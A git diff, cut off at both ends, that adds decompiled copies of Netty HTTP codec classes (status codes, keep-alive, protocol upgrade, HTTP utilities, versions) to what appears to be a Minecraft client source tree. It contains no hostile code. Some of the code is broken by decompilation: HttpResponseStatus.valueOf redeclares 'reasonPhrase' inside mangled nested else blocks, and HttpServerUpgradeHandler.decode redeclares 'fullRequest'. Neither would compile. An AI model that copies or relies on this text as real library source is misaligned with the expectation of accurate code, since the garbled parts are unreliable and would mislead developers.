+      return BAD_REQUEST;
+    case 401: 
+      return UNAUTHORIZED;
+    case 402: 
+      return PAYMENT_REQUIRED;
+    case 403: 
+      return FORBIDDEN;
+    case 404: 
+      return NOT_FOUND;
+    case 405: 
+      return METHOD_NOT_ALLOWED;
+    case 406: 
+      return NOT_ACCEPTABLE;
+    case 407: 
+      return PROXY_AUTHENTICATION_REQUIRED;
+    case 408: 
+      return REQUEST_TIMEOUT;
+    case 409: 
+      return CONFLICT;
+    case 410: 
+      return GONE;
+    case 411: 
+      return LENGTH_REQUIRED;
+    case 412: 
+      return PRECONDITION_FAILED;
+    case 413: 
+      return REQUEST_ENTITY_TOO_LARGE;
+    case 414: 
+      return REQUEST_URI_TOO_LONG;
+    case 415: 
+      return UNSUPPORTED_MEDIA_TYPE;
+    case 416: 
+      return REQUESTED_RANGE_NOT_SATISFIABLE;
+    case 417: 
+      return EXPECTATION_FAILED;
+    case 422: 
+      return UNPROCESSABLE_ENTITY;
+    case 423: 
+      return LOCKED;
+    case 424: 
+      return FAILED_DEPENDENCY;
+    case 425: 
+      return UNORDERED_COLLECTION;
+    case 426: 
+      return UPGRADE_REQUIRED;
+    case 428: 
+      return PRECONDITION_REQUIRED;
+    case 429: 
+      return TOO_MANY_REQUESTS;
+    case 431: 
+      return REQUEST_HEADER_FIELDS_TOO_LARGE;
+    case 500: 
+      return INTERNAL_SERVER_ERROR;
+    case 501: 
+      return NOT_IMPLEMENTED;
+    case 502: 
+      return BAD_GATEWAY;
+    case 503: 
+      return SERVICE_UNAVAILABLE;
+    case 504: 
+      return GATEWAY_TIMEOUT;
+    case 505: 
+      return HTTP_VERSION_NOT_SUPPORTED;
+    case 506: 
+      return VARIANT_ALSO_NEGOTIATES;
+    case 507: 
+      return INSUFFICIENT_STORAGE;
+    case 510: 
+      return NOT_EXTENDED;
+    case 511: 
+      return NETWORK_AUTHENTICATION_REQUIRED;
+    }
+    
+    String reasonPhrase;
+    String reasonPhrase;
+    if (code < 100) {
+      reasonPhrase = "Unknown Status"; } else { String reasonPhrase;
+      if (code < 200) {
+        reasonPhrase = "Informational"; } else { String reasonPhrase;
+        if (code < 300) {
+          reasonPhrase = "Successful"; } else { String reasonPhrase;
+          if (code < 400) {
+            reasonPhrase = "Redirection"; } else { String reasonPhrase;
+            if (code < 500) {
+              reasonPhrase = "Client Error"; } else { String reasonPhrase;
+              if (code < 600) {
+                reasonPhrase = "Server Error";
+              } else
+                reasonPhrase = "Unknown Status";
+            }
+          } } } }
+    return new HttpResponseStatus(code, reasonPhrase + " (" + code + ')');
+  }
+  
+
+
+
+
+
+
+
+
+  public HttpResponseStatus(int code, String reasonPhrase)
+  {
+    this(code, reasonPhrase, false);
+  }
+  
+  private HttpResponseStatus(int code, String reasonPhrase, boolean bytes) {
+    if (code < 0) {
+      throw new IllegalArgumentException("code: " + code + " (expected: 0+)");
+    }
+    
+
+    if (reasonPhrase == null) {
+      throw new NullPointerException("reasonPhrase");
+    }
+    
+    for (int i = 0; i < reasonPhrase.length(); i++) {
+      char c = reasonPhrase.charAt(i);
+      
+      switch (c) {
+      case '\n': case '\r': 
+        throw new IllegalArgumentException("reasonPhrase contains one of the following prohibited characters: \\r\\n: " + reasonPhrase);
+      }
+      
+    }
+    
+
+    this.code = code;
+    this.reasonPhrase = reasonPhrase;
+    if (bytes) {
+      this.bytes = (code + " " + reasonPhrase).getBytes(CharsetUtil.US_ASCII);
+    } else {
+      this.bytes = null;
+    }
+  }
+  
+
+
+  public int code()
+  {
+    return code;
+  }
+  
+
+
+  public String reasonPhrase()
+  {
+    return reasonPhrase;
+  }
+  
+  public int hashCode()
+  {
+    return code();
+  }
+  
+
+
+
+
+  public boolean equals(Object o)
+  {
+    if (!(o instanceof HttpResponseStatus)) {
+      return false;
+    }
+    
+    return code() == ((HttpResponseStatus)o).code();
+  }
+  
+
+
+
+
+  public int compareTo(HttpResponseStatus o)
+  {
+    return code() - o.code();
+  }
+  
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder(reasonPhrase.length() + 5);
+    buf.append(code);
+    buf.append(' ');
+    buf.append(reasonPhrase);
+    return buf.toString();
+  }
+  
+  void encode(ByteBuf buf) {
+    if (bytes == null) {
+      HttpHeaders.encodeAscii0(String.valueOf(code()), buf);
+      buf.writeByte(32);
+      HttpHeaders.encodeAscii0(String.valueOf(reasonPhrase()), buf);
+    } else {
+      buf.writeBytes(bytes);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/HttpScheme.java b/src/minecraft/io/netty/handler/codec/http/HttpScheme.java
new file mode 100644
index 0000000..ba90f73
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/HttpScheme.java
@@ -0,0 +1,62 @@
+package io.netty.handler.codec.http;
+
+import io.netty.util.AsciiString;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class HttpScheme
+{
+  public static final HttpScheme HTTP = new HttpScheme(80, "http");
+  public static final HttpScheme HTTPS = new HttpScheme(443, "https");
+  private final int port;
+  private final AsciiString name;
+  
+  private HttpScheme(int port, String name)
+  {
+    this.port = port;
+    this.name = new AsciiString(name);
+  }
+  
+  public AsciiString name() {
+    return name;
+  }
+  
+  public int port() {
+    return port;
+  }
+  
+  public boolean equals(Object o)
+  {
+    if (!(o instanceof HttpScheme)) {
+      return false;
+    }
+    HttpScheme other = (HttpScheme)o;
+    return (other.port() == port) && (other.name().equals(name));
+  }
+  
+  public int hashCode()
+  {
+    return port * 31 + name.hashCode();
+  }
+  
+  public String toString()
+  {
+    return name.toString();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/HttpServerCodec.java b/src/minecraft/io/netty/handler/codec/http/HttpServerCodec.java
new file mode 100644
index 0000000..ddd6da5
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/HttpServerCodec.java
@@ -0,0 +1,52 @@
+package io.netty.handler.codec.http;
+
+import io.netty.channel.CombinedChannelDuplexHandler;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class HttpServerCodec
+  extends CombinedChannelDuplexHandler<HttpRequestDecoder, HttpResponseEncoder>
+{
+  public HttpServerCodec()
+  {
+    this(4096, 8192, 8192);
+  }
+  
+
+
+  public HttpServerCodec(int maxInitialLineLength, int maxHeaderSize, int maxChunkSize)
+  {
+    super(new HttpRequestDecoder(maxInitialLineLength, maxHeaderSize, maxChunkSize), new HttpResponseEncoder());
+  }
+  
+
+
+  public HttpServerCodec(int maxInitialLineLength, int maxHeaderSize, int maxChunkSize, boolean validateHeaders)
+  {
+    super(new HttpRequestDecoder(maxInitialLineLength, maxHeaderSize, maxChunkSize, validateHeaders), new HttpResponseEncoder());
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/HttpServerKeepAliveHandler.java b/src/minecraft/io/netty/handler/codec/http/HttpServerKeepAliveHandler.java
new file mode 100644
index 0000000..e11766b
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/HttpServerKeepAliveHandler.java
@@ -0,0 +1,126 @@
+package io.netty.handler.codec.http;
+
+import io.netty.channel.ChannelDuplexHandler;
+import io.netty.channel.ChannelFutureListener;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPromise;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class HttpServerKeepAliveHandler
+  extends ChannelDuplexHandler
+{
+  private static final String MULTIPART_PREFIX = "multipart";
+  private boolean persistentConnection = true;
+  private int pendingResponses;
+  
+  public HttpServerKeepAliveHandler() {}
+  
+  public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception
+  {
+    if ((msg instanceof HttpRequest)) {
+      HttpRequest request = (HttpRequest)msg;
+      if (persistentConnection) {
+        pendingResponses += 1;
+        persistentConnection = HttpUtil.isKeepAlive(request);
+      }
+    }
+    super.channelRead(ctx, msg);
+  }
+  
+  public void write(ChannelHandlerContext ctx, Object msg, ChannelPromise promise)
+    throws Exception
+  {
+    if ((msg instanceof HttpResponse)) {
+      HttpResponse response = (HttpResponse)msg;
+      trackResponse(response);
+      
+      if ((!HttpUtil.isKeepAlive(response)) || (!isSelfDefinedMessageLength(response)))
+      {
+        pendingResponses = 0;
+        persistentConnection = false;
+      }
+      
+      if (!shouldKeepAlive()) {
+        HttpUtil.setKeepAlive(response, false);
+      }
+    }
+    if (((msg instanceof LastHttpContent)) && (!shouldKeepAlive())) {
+      promise.addListener(ChannelFutureListener.CLOSE);
+    }
+    super.write(ctx, msg, promise);
+  }
+  
+  private void trackResponse(HttpResponse response) {
+    if (!isInformational(response)) {
+      pendingResponses -= 1;
+    }
+  }
+  
+  private boolean shouldKeepAlive() {
+    return (pendingResponses != 0) || (persistentConnection);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  private static boolean isSelfDefinedMessageLength(HttpResponse response)
+  {
+    return (HttpUtil.isContentLengthSet(response)) || (HttpUtil.isTransferEncodingChunked(response)) || (isMultipart(response)) || (isInformational(response));
+  }
+  
+  private static boolean isInformational(HttpResponse response)
+  {
+    return response.status().codeClass() == HttpStatusClass.INFORMATIONAL;
+  }
+  
+  private static boolean isMultipart(HttpResponse response) {
+    String contentType = response.headers().get(HttpHeaderNames.CONTENT_TYPE);
+    return (contentType != null) && (contentType.regionMatches(true, 0, "multipart", 0, "multipart".length()));
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/HttpServerUpgradeHandler.java b/src/minecraft/io/netty/handler/codec/http/HttpServerUpgradeHandler.java
new file mode 100644
index 0000000..cc1924a
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/HttpServerUpgradeHandler.java
@@ -0,0 +1,405 @@
+package io.netty.handler.codec.http;
+
+import io.netty.buffer.Unpooled;
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelFutureListener;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPipeline;
+import io.netty.util.AsciiString;
+import io.netty.util.ReferenceCountUtil;
+import io.netty.util.ReferenceCounted;
+import io.netty.util.internal.ObjectUtil;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class HttpServerUpgradeHandler
+  extends HttpObjectAggregator
+{
+  private final SourceCodec sourceCodec;
+  private final UpgradeCodecFactory upgradeCodecFactory;
+  private boolean handlingUpgrade;
+  
+  public static final class UpgradeEvent
+    implements ReferenceCounted
+  {
+    private final CharSequence protocol;
+    private final FullHttpRequest upgradeRequest;
+    
+    UpgradeEvent(CharSequence protocol, FullHttpRequest upgradeRequest)
+    {
+      this.protocol = protocol;
+      this.upgradeRequest = upgradeRequest;
+    }
+    
+
+
+    public CharSequence protocol()
+    {
+      return protocol;
+    }
+    
+
+
+    public FullHttpRequest upgradeRequest()
+    {
+      return upgradeRequest;
+    }
+    
+    public int refCnt()
+    {
+      return upgradeRequest.refCnt();
+    }
+    
+    public UpgradeEvent retain()
+    {
+      upgradeRequest.retain();
+      return this;
+    }
+    
+    public UpgradeEvent retain(int increment)
+    {
+      upgradeRequest.retain(increment);
+      return this;
+    }
+    
+    public UpgradeEvent touch()
+    {
+      upgradeRequest.touch();
+      return this;
+    }
+    
+    public UpgradeEvent touch(Object hint)
+    {
+      upgradeRequest.touch(hint);
+      return this;
+    }
+    
+    public boolean release()
+    {
+      return upgradeRequest.release();
+    }
+    
+    public boolean release(int decrement)
+    {
+      return upgradeRequest.release(decrement);
+    }
+    
+    public String toString()
+    {
+      return "UpgradeEvent [protocol=" + protocol + ", upgradeRequest=" + upgradeRequest + ']';
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public HttpServerUpgradeHandler(SourceCodec sourceCodec, UpgradeCodecFactory upgradeCodecFactory)
+  {
+    this(sourceCodec, upgradeCodecFactory, 0);
+  }
+  
+
+
+
+
+
+
+
+
+  public HttpServerUpgradeHandler(SourceCodec sourceCodec, UpgradeCodecFactory upgradeCodecFactory, int maxContentLength)
+  {
+    super(maxContentLength);
+    
+    this.sourceCodec = ((SourceCodec)ObjectUtil.checkNotNull(sourceCodec, "sourceCodec"));
+    this.upgradeCodecFactory = ((UpgradeCodecFactory)ObjectUtil.checkNotNull(upgradeCodecFactory, "upgradeCodecFactory"));
+  }
+  
+
+  protected void decode(ChannelHandlerContext ctx, HttpObject msg, List<Object> out)
+    throws Exception
+  {
+    handlingUpgrade |= isUpgradeRequest(msg);
+    if (!handlingUpgrade)
+    {
+      ReferenceCountUtil.retain(msg);
+      out.add(msg); return;
+    }
+    
+    FullHttpRequest fullRequest;
+    
+    if ((msg instanceof FullHttpRequest)) {
+      FullHttpRequest fullRequest = (FullHttpRequest)msg;
+      ReferenceCountUtil.retain(msg);
+      out.add(msg);
+    }
+    else {
+      super.decode(ctx, msg, out);
+      if (out.isEmpty())
+      {
+        return;
+      }
+      
+
+      assert (out.size() == 1);
+      handlingUpgrade = false;
+      fullRequest = (FullHttpRequest)out.get(0);
+    }
+    
+    if (upgrade(ctx, fullRequest))
+    {
+
+
+      out.clear();
+    }
+  }
+  
+
+
+
+
+
+  private static boolean isUpgradeRequest(HttpObject msg)
+  {
+    return ((msg instanceof HttpRequest)) && (((HttpRequest)msg).headers().get(HttpHeaderNames.UPGRADE) != null);
+  }
+  
+
+
+
+
+
+
+
+
+  private boolean upgrade(final ChannelHandlerContext ctx, final FullHttpRequest request)
+  {
+    List<CharSequence> requestedProtocols = splitHeader(request.headers().get(HttpHeaderNames.UPGRADE));
+    int numRequestedProtocols = requestedProtocols.size();
+    UpgradeCodec upgradeCodec = null;
+    CharSequence upgradeProtocol = null;
+    for (int i = 0; i < numRequestedProtocols; i++) {
+      CharSequence p = (CharSequence)requestedProtocols.get(i);
+      UpgradeCodec c = upgradeCodecFactory.newUpgradeCodec(p);
+      if (c != null) {
+        upgradeProtocol = p;
+        upgradeCodec = c;
+        break;
+      }
+    }
+    
+    if (upgradeCodec == null)
+    {
+      return false;
+    }
+    
+
+    CharSequence connectionHeader = request.headers().get(HttpHeaderNames.CONNECTION);
+    if (connectionHeader == null) {
+      return false;
+    }
+    
+
+    Collection<CharSequence> requiredHeaders = upgradeCodec.requiredUpgradeHeaders();
+    List<CharSequence> values = splitHeader(connectionHeader);
+    if ((!AsciiString.containsContentEqualsIgnoreCase(values, HttpHeaderNames.UPGRADE)) || (!AsciiString.containsAllContentEqualsIgnoreCase(values, requiredHeaders)))
+    {
+      return false;
+    }
+    
+
+    for (CharSequence requiredHeader : requiredHeaders) {
+      if (!request.headers().contains(requiredHeader)) {
+        return false;
+      }
+    }
+    
+
+
+    FullHttpResponse upgradeResponse = createUpgradeResponse(upgradeProtocol);
+    if (!upgradeCodec.prepareUpgradeResponse(ctx, request, upgradeResponse.headers())) {
+      return false;
+    }
+    
+
+    final UpgradeEvent event = new UpgradeEvent(upgradeProtocol, request);
+    
+    final UpgradeCodec finalUpgradeCodec = upgradeCodec;
+    ctx.writeAndFlush(upgradeResponse).addListener(new ChannelFutureListener()
+    {
+      public void operationComplete(ChannelFuture future) throws Exception {
+        try {
+          if (future.isSuccess())
+          {
+            sourceCodec.upgradeFrom(ctx);
+            finalUpgradeCodec.upgradeTo(ctx, request);
+            
+
+
+            ctx.fireUserEventTriggered(event.retain());
+            
+
+            ctx.pipeline().remove(HttpServerUpgradeHandler.this);
+          } else {
+            future.channel().close();
+          }
+        }
+        finally {
+          event.release();
+        }
+      }
+    });
+    return true;
+  }
+  
+
+
+  private static FullHttpResponse createUpgradeResponse(CharSequence upgradeProtocol)
+  {
+    DefaultFullHttpResponse res = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, HttpResponseStatus.SWITCHING_PROTOCOLS, Unpooled.EMPTY_BUFFER, false);
+    
+    res.headers().add(HttpHeaderNames.CONNECTION, HttpHeaderValues.UPGRADE);
+    res.headers().add(HttpHeaderNames.UPGRADE, upgradeProtocol);
+    res.headers().add(HttpHeaderNames.CONTENT_LENGTH, HttpHeaderValues.ZERO);
+    return res;
+  }
+  
+
+
+
+  private static List<CharSequence> splitHeader(CharSequence header)
+  {
+    StringBuilder builder = new StringBuilder(header.length());
+    List<CharSequence> protocols = new ArrayList(4);
+    for (int i = 0; i < header.length(); i++) {
+      char c = header.charAt(i);
+      if (!Character.isWhitespace(c))
+      {
+
+
+        if (c == ',')
+        {
+          protocols.add(builder.toString());
+          builder.setLength(0);
+        } else {
+          builder.append(c);
+        }
+      }
+    }
+    
+    if (builder.length() > 0) {
+      protocols.add(builder.toString());
+    }
+    
+    return protocols;
+  }
+  
+  public static abstract interface UpgradeCodecFactory
+  {
+    public abstract HttpServerUpgradeHandler.UpgradeCodec newUpgradeCodec(CharSequence paramCharSequence);
+  }
+  
+  public static abstract interface UpgradeCodec
+  {
+    public abstract Collection<CharSequence> requiredUpgradeHeaders();
+    
+    public abstract boolean prepareUpgradeResponse(ChannelHandlerContext paramChannelHandlerContext, FullHttpRequest paramFullHttpRequest, HttpHeaders paramHttpHeaders);
+    
+    public abstract void upgradeTo(ChannelHandlerContext paramChannelHandlerContext, FullHttpRequest paramFullHttpRequest);
+  }
+  
+  public static abstract interface SourceCodec
+  {
+    public abstract void upgradeFrom(ChannelHandlerContext paramChannelHandlerContext);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/HttpStatusClass.java b/src/minecraft/io/netty/handler/codec/http/HttpStatusClass.java
new file mode 100644
index 0000000..2b80a21
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/HttpStatusClass.java
@@ -0,0 +1,100 @@
+package io.netty.handler.codec.http;
+
+import io.netty.util.AsciiString;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public enum HttpStatusClass
+{
+  INFORMATIONAL(100, 200, "Informational"), 
+  
+
+
+  SUCCESS(200, 300, "Success"), 
+  
+
+
+  REDIRECTION(300, 400, "Redirection"), 
+  
+
+
+  CLIENT_ERROR(400, 500, "Client Error"), 
+  
+
+
+  SERVER_ERROR(500, 600, "Server Error"), 
+  
+
+
+  UNKNOWN(0, 0, "Unknown Status");
+  
+
+  private final int min;
+  
+  private final int max;
+  
+  private final AsciiString defaultReasonPhrase;
+  
+  public static HttpStatusClass valueOf(int code)
+  {
+    if (INFORMATIONAL.contains(code)) {
+      return INFORMATIONAL;
+    }
+    if (SUCCESS.contains(code)) {
+      return SUCCESS;
+    }
+    if (REDIRECTION.contains(code)) {
+      return REDIRECTION;
+    }
+    if (CLIENT_ERROR.contains(code)) {
+      return CLIENT_ERROR;
+    }
+    if (SERVER_ERROR.contains(code)) {
+      return SERVER_ERROR;
+    }
+    return UNKNOWN;
+  }
+  
+
+
+
+  private HttpStatusClass(int min, int max, String defaultReasonPhrase)
+  {
+    this.min = min;
+    this.max = max;
+    this.defaultReasonPhrase = new AsciiString(defaultReasonPhrase);
+  }
+  
+
+
+  public boolean contains(int code)
+  {
+    return (code >= min) && (code < max);
+  }
+  
+
+
+  AsciiString defaultReasonPhrase()
+  {
+    return defaultReasonPhrase;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/HttpUtil.java b/src/minecraft/io/netty/handler/codec/http/HttpUtil.java
new file mode 100644
index 0000000..672d256
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/HttpUtil.java
@@ -0,0 +1,423 @@
+package io.netty.handler.codec.http;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.util.AsciiString;
+import io.netty.util.CharsetUtil;
+import java.net.URI;
+import java.nio.charset.Charset;
+import java.nio.charset.UnsupportedCharsetException;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class HttpUtil
+{
+  @Deprecated
+  static final EmptyHttpHeaders EMPTY_HEADERS = new EmptyHttpHeaders();
+  private static final AsciiString CHARSET_EQUALS = AsciiString.of(HttpHeaderValues.CHARSET + "=");
+  private static final AsciiString SEMICOLON = AsciiString.of(";");
+  
+
+
+  private HttpUtil() {}
+  
+
+  public static boolean isOriginForm(URI uri)
+  {
+    return (uri.getScheme() == null) && (uri.getSchemeSpecificPart() == null) && (uri.getHost() == null) && (uri.getAuthority() == null);
+  }
+  
+
+
+
+
+  public static boolean isAsteriskForm(URI uri)
+  {
+    return ("*".equals(uri.getPath())) && (uri.getScheme() == null) && (uri.getSchemeSpecificPart() == null) && (uri.getHost() == null) && (uri.getAuthority() == null) && (uri.getQuery() == null) && (uri.getFragment() == null);
+  }
+  
+
+
+
+
+
+
+
+
+  public static boolean isKeepAlive(HttpMessage message)
+  {
+    CharSequence connection = message.headers().get(HttpHeaderNames.CONNECTION);
+    if ((connection != null) && (HttpHeaderValues.CLOSE.contentEqualsIgnoreCase(connection))) {
+      return false;
+    }
+    
+    if (message.protocolVersion().isKeepAliveDefault()) {
+      return !HttpHeaderValues.CLOSE.contentEqualsIgnoreCase(connection);
+    }
+    return HttpHeaderValues.KEEP_ALIVE.contentEqualsIgnoreCase(connection);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static void setKeepAlive(HttpMessage message, boolean keepAlive)
+  {
+    setKeepAlive(message.headers(), message.protocolVersion(), keepAlive);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static void setKeepAlive(HttpHeaders h, HttpVersion httpVersion, boolean keepAlive)
+  {
+    if (httpVersion.isKeepAliveDefault()) {
+      if (keepAlive) {
+        h.remove(HttpHeaderNames.CONNECTION);
+      } else {
+        h.set(HttpHeaderNames.CONNECTION, HttpHeaderValues.CLOSE);
+      }
+    }
+    else if (keepAlive) {
+      h.set(HttpHeaderNames.CONNECTION, HttpHeaderValues.KEEP_ALIVE);
+    } else {
+      h.remove(HttpHeaderNames.CONNECTION);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static long getContentLength(HttpMessage message)
+  {
+    String value = message.headers().get(HttpHeaderNames.CONTENT_LENGTH);
+    if (value != null) {
+      return Long.parseLong(value);
+    }
+    
+
+
+    long webSocketContentLength = getWebSocketContentLength(message);
+    if (webSocketContentLength >= 0L) {
+      return webSocketContentLength;
+    }
+    
+
+    throw new NumberFormatException("header not found: " + HttpHeaderNames.CONTENT_LENGTH);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static long getContentLength(HttpMessage message, long defaultValue)
+  {
+    String value = message.headers().get(HttpHeaderNames.CONTENT_LENGTH);
+    if (value != null) {
+      try {
+        return Long.parseLong(value);
+      } catch (NumberFormatException ignore) {
+        return defaultValue;
+      }
+    }
+    
+
+
+    long webSocketContentLength = getWebSocketContentLength(message);
+    if (webSocketContentLength >= 0L) {
+      return webSocketContentLength;
+    }
+    
+
+    return defaultValue;
+  }
+  
+
+
+
+
+
+  public static int getContentLength(HttpMessage message, int defaultValue)
+  {
+    return (int)Math.min(2147483647L, getContentLength(message, defaultValue));
+  }
+  
+
+
+
+
+  private static int getWebSocketContentLength(HttpMessage message)
+  {
+    HttpHeaders h = message.headers();
+    if ((message instanceof HttpRequest)) {
+      HttpRequest req = (HttpRequest)message;
+      if ((HttpMethod.GET.equals(req.method())) && (h.contains(HttpHeaderNames.SEC_WEBSOCKET_KEY1)) && (h.contains(HttpHeaderNames.SEC_WEBSOCKET_KEY2)))
+      {
+
+        return 8;
+      }
+    } else if ((message instanceof HttpResponse)) {
+      HttpResponse res = (HttpResponse)message;
+      if ((res.status().code() == 101) && (h.contains(HttpHeaderNames.SEC_WEBSOCKET_ORIGIN)) && (h.contains(HttpHeaderNames.SEC_WEBSOCKET_LOCATION)))
+      {
+
+        return 16;
+      }
+    }
+    
+
+    return -1;
+  }
+  
+
+
+  public static void setContentLength(HttpMessage message, long length)
+  {
+    message.headers().set(HttpHeaderNames.CONTENT_LENGTH, Long.valueOf(length));
+  }
+  
+  public static boolean isContentLengthSet(HttpMessage m) {
+    return m.headers().contains(HttpHeaderNames.CONTENT_LENGTH);
+  }
+  
+
+
+
+
+  public static boolean is100ContinueExpected(HttpMessage message)
+  {
+    if (!(message instanceof HttpRequest)) {
+      return false;
+    }
+    
+
+    if (message.protocolVersion().compareTo(HttpVersion.HTTP_1_1) < 0) {
+      return false;
+    }
+    
+
+    CharSequence value = message.headers().get(HttpHeaderNames.EXPECT);
+    if (value == null) {
+      return false;
+    }
+    if (HttpHeaderValues.CONTINUE.contentEqualsIgnoreCase(value)) {
+      return true;
+    }
+    
+
+    return message.headers().contains(HttpHeaderNames.EXPECT, HttpHeaderValues.CONTINUE, true);
+  }
+  
+
+
+
+
+
+
+  public static void set100ContinueExpected(HttpMessage message, boolean expected)
+  {
+    if (expected) {
+      message.headers().set(HttpHeaderNames.EXPECT, HttpHeaderValues.CONTINUE);
+    } else {
+      message.headers().remove(HttpHeaderNames.EXPECT);
+    }
+  }
+  
+
+
+
+
+
+  public static boolean isTransferEncodingChunked(HttpMessage message)
+  {
+    return message.headers().contains(HttpHeaderNames.TRANSFER_ENCODING, HttpHeaderValues.CHUNKED, true);
+  }
+  
+
+
+
+
+
+
+  public static void setTransferEncodingChunked(HttpMessage m, boolean chunked)
+  {
+    if (chunked) {
+      m.headers().add(HttpHeaderNames.TRANSFER_ENCODING, HttpHeaderValues.CHUNKED);
+      m.headers().remove(HttpHeaderNames.CONTENT_LENGTH);
+    } else {
+      List<String> encodings = m.headers().getAll(HttpHeaderNames.TRANSFER_ENCODING);
+      if (encodings.isEmpty()) {
+        return;
+      }
+      List<CharSequence> values = new ArrayList(encodings);
+      Iterator<CharSequence> valuesIt = values.iterator();
+      while (valuesIt.hasNext()) {
+        CharSequence value = (CharSequence)valuesIt.next();
+        if (HttpHeaderValues.CHUNKED.contentEqualsIgnoreCase(value)) {
+          valuesIt.remove();
+        }
+      }
+      if (values.isEmpty()) {
+        m.headers().remove(HttpHeaderNames.TRANSFER_ENCODING);
+      } else {
+        m.headers().set(HttpHeaderNames.TRANSFER_ENCODING, values);
+      }
+    }
+  }
+  
+
+
+
+
+
+  public static Charset getCharset(HttpMessage message)
+  {
+    return getCharset(message, CharsetUtil.ISO_8859_1);
+  }
+  
+
+
+
+
+
+  public static Charset getCharset(HttpMessage message, Charset defaultCharset)
+  {
+    CharSequence charsetCharSequence = getCharsetAsString(message);
+    if (charsetCharSequence != null) {
+      try {
+        return Charset.forName(charsetCharSequence.toString());
+      } catch (UnsupportedCharsetException unsupportedException) {
+        return defaultCharset;
+      }
+    }
+    return defaultCharset;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static CharSequence getCharsetAsString(HttpMessage message)
+  {
+    CharSequence contentTypeValue = message.headers().get(HttpHeaderNames.CONTENT_TYPE);
+    if (contentTypeValue != null) {
+      int indexOfCharset = AsciiString.indexOfIgnoreCaseAscii(contentTypeValue, CHARSET_EQUALS, 0);
+      if (indexOfCharset != -1) {
+        int indexOfEncoding = indexOfCharset + CHARSET_EQUALS.length();
+        if (indexOfEncoding < contentTypeValue.length()) {
+          return contentTypeValue.subSequence(indexOfEncoding, contentTypeValue.length());
+        }
+      }
+    }
+    return null;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static CharSequence getMimeType(HttpMessage message)
+  {
+    CharSequence contentTypeValue = message.headers().get(HttpHeaderNames.CONTENT_TYPE);
+    if (contentTypeValue != null) {
+      int indexOfSemicolon = AsciiString.indexOfIgnoreCaseAscii(contentTypeValue, SEMICOLON, 0);
+      if (indexOfSemicolon != -1) {
+        return contentTypeValue.subSequence(0, indexOfSemicolon);
+      }
+      return contentTypeValue.length() > 0 ? contentTypeValue : null;
+    }
+    
+    return null;
+  }
+  
+  static void encodeAscii0(CharSequence seq, ByteBuf buf) {
+    int length = seq.length();
+    for (int i = 0; i < length; i++) {
+      buf.writeByte(c2b(seq.charAt(i)));
+    }
+  }
+  
+  private static byte c2b(char c) {
+    return c > 'ÿ' ? 63 : (byte)c;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/HttpVersion.java b/src/minecraft/io/netty/handler/codec/http/HttpVersion.java
new file mode 100644
index 0000000..88528fc
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/HttpVersion.java
@@ -0,0 +1,281 @@
+package io.netty.handler.codec.http;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.util.CharsetUtil;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class HttpVersion
+  implements Comparable<HttpVersion>
+{
+  private static final Pattern VERSION_PATTERN = Pattern.compile("(\\S+)/(\\d+)\\.(\\d+)");
+  
+
+  private static final String HTTP_1_0_STRING = "HTTP/1.0";
+  
+
+  private static final String HTTP_1_1_STRING = "HTTP/1.1";
+  
+
+  public static final HttpVersion HTTP_1_0 = new HttpVersion("HTTP", 1, 0, false, true);
+  
+
+
+
+  public static final HttpVersion HTTP_1_1 = new HttpVersion("HTTP", 1, 1, true, true);
+  
+  private final String protocolName;
+  private final int majorVersion;
+  private final int minorVersion;
+  private final String text;
+  private final boolean keepAliveDefault;
+  private final byte[] bytes;
+  
+  public static HttpVersion valueOf(String text)
+  {
+    if (text == null) {
+      throw new NullPointerException("text");
+    }
+    
+    text = text.trim();
+    
+    if (text.isEmpty()) {
